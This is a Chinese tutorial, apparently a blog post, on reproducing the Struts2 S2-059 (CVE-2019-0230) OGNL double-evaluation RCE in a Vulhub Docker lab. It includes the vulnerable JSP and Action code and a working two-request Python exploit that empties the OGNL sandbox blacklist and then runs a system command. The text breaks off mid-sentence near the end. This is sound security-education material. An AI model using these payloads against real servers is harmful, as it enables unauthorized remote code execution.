Vulhub Struts2 S2-059(CVE-2019-0230):Struts 标签属性二次解析 OGNL 注入 RCE 实战指南

📅 发布时间:2026/9/14 12:47:18
Vulhub Struts2 S2-059(CVE-2019-0230):Struts 标签属性二次解析 OGNL 注入 RCE 实战指南
Vulhub Struts2 S2-059CVE-2019-0230Struts 标签属性二次解析 OGNL 注入 RCE 实战指南【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub本文基于 Vulhub 的 struts2/s2-059 环境讲解 Apache Struts 2 框架中因标签属性如id被二次求值而导致的 OGNL 表达式注入漏洞S2-059 / CVE-2019-0230。读完本篇你将理解双重求值的触发机理、%25%7B编码绕过的原理、结合 CVE-2018-11776 沙箱绕过链实现 RCE 的完整 POC 逻辑并能在本地 Docker 环境复现并验证整个攻击链。漏洞背景与影响版本根据 Vulhub 的 漏洞说明Apache Struts 在被迫forced的情况下会对某些特定标签属性例如id所赋的值进行二次求值。也就是说攻击者可以传入一个特殊值该值会在标签属性被渲染render时再次被 OGNL 引擎解析。构造这样一个请求最终可能导致远程代码执行RCE。关键事实漏洞编号S2-059CVE-2019-0230影响版本Struts 2.0.0 – Struts 2.5.20官方公告中该问题在 2.5.21 中修复本环境使用的 2.5.16 处于受影响区间攻击前提目标应用的某个 JSP/页面使用了 Struts 标签且把用户可控参数放进了会被二次解析的标签属性中本环境的 demo 页面正是如此与 CVE-2018-11776 的关系Struts 2.5.15 引入了 OGNL 沙箱OgnlUtil的 excluded classes/packages 机制但 GitHub Security Lab 的《OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)》给出了针对 2.5.16 的沙箱绕过方法S2-059 的 RCE POC 正是依赖这一绕过链才能执行系统命令。原文档同时引用了 Apache Struts 官方 wiki 的 S2-059 公告与上述 GitHub Security Lab 研究作为背景资料。环境准备本环境通过 docker-compose.yml 一键启动内容非常简洁version: 2 services: struts2: image: vulhub/struts2:2.5.16 ports: - 8080:8080执行以下命令启动 Struts 2.5.16 环境cd struts2/s2-059 docker compose up -d启动后访问http://your-ip:8080/?id1即可看到 Struts2 测试页面。镜像是如何构建的从 base/struts2/2.5.16/Dockerfile 可以看出镜像基于maven:3-jdk-8将源码拷贝到/usr/src后以mvn jetty:run作为启动命令即容器内直接通过 Jetty 运行一个最小化的 Struts 2.5.16 Web 应用8080 端口对外暴露。依赖定义在 base/struts2/2.5.16/pom.xml 中核心依赖只有一个struts2-core 2.5.16并通过jetty-maven-plugin配置了contextPath/、监听端口 8080。Demo 页面结构与二次求值触发点环境能被打根本原因在于 demo 页面写法。查看 base/struts2/2.5.16/src/main/webapp/index.jsp% taglib prefixs uri/struts-tags % ... body s:a id%{id}your input id: ${id} brhas ben evaluated again in id attribute /s:a /body问题就在s:a id%{id}这一行第一次求值%{id}被 Struts 标签解析器求值取出 URL 参数id的原始字符串第二次求值得到的字符串会被当作 OGNL 表达式再次求值然后写入a标签的id属性。配合 IndexAction.javaAction 中暴露了id属性getId/setId供参数注入用户请求中的id参数因此完整进入这个双重求值路径public class IndexAction extends ActionSupport { private String id; public String changeId(){ return SUCCESS; } public String getId() { return id; } public void setId(String id) { this.id id; } }这正是 S2-059 的典型利用形态用户输入经普通参数绑定进入 Action 属性再被 Struts 标签属性渲染时二次解析成 OGNL 表达式。OGNL 注入验证233*233 实验先做一个无副作用的验证。访问http://your-ip:8080/?id%25%7B233*233%7D注意编码细节%25解码后是字面的%所以服务端实际收到的参数值是%{233*233}。第一次求值%{id}取出%{233*233}这个字符串第二次求值时它被 OGNL 引擎当作表达式执行233*233 54289被计算出来并渲染进id属性。页面源码即呈现如下效果如果注入不成立id属性只会显示原始字符串显示计算结果54289即可确认目标存在二次解析。绕过 OGNL 沙箱执行系统命令2.5.16 自带 OGNL 沙箱OgnlUtil维护了excludedClasses/excludedPackageNames黑名单直接调用Runtime.exec会被拦截因此需要借助 CVE-2018-11776 的沙箱绕过手法。Vulhub 文档给出了一段极简 Python POC分两个请求完成import requests url http://127.0.0.1:8080 data1 { id: %{(#context#attr[struts.valueStack].context).(#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.setExcludedClasses()).(#ognlUtil.setExcludedPackageNames())} } data2 { id: %{(#context#attr[struts.valueStack].context).(#context.setMemberAccess(ognl.OgnlContextDEFAULT_MEMBER_ACCESS)).(java.lang.RuntimegetRuntime().exec(touch /tmp/success))} } res1 requests.post(url, datadata1) # print(res1.text) res2 requests.post(url, datadata2) # print(res2.text)两段载荷的逻辑拆解请求 1拆除沙箱黑名单#context#attr[struts.valueStack].context通过 OGNL 的#attr映射拿到 ValueStack 所属的 OgnlContext#context[com.opensymphony.xwork2.ActionContext.container]从上下文中取出 Struts 的 DI 容器#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)拿到当前正在使用的OgnlUtil单例setExcludedClasses()/setExcludedPackageNames()把黑名单类列表与包前缀清空——这就是 CVE-2018-11776 绕过沙箱的核心。请求 2执行命令#context.setMemberAccess(ognl.OgnlContextDEFAULT_MEMBER_ACCESS)把成员访问控制降级为默认无限制策略java.lang.RuntimegetRuntime().exec(touch /tmp/success)静态调用执行系统命令。两个请求必须分开发送第一个请求只负责改写OgnlUtil的全局配置第二个请求在黑【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考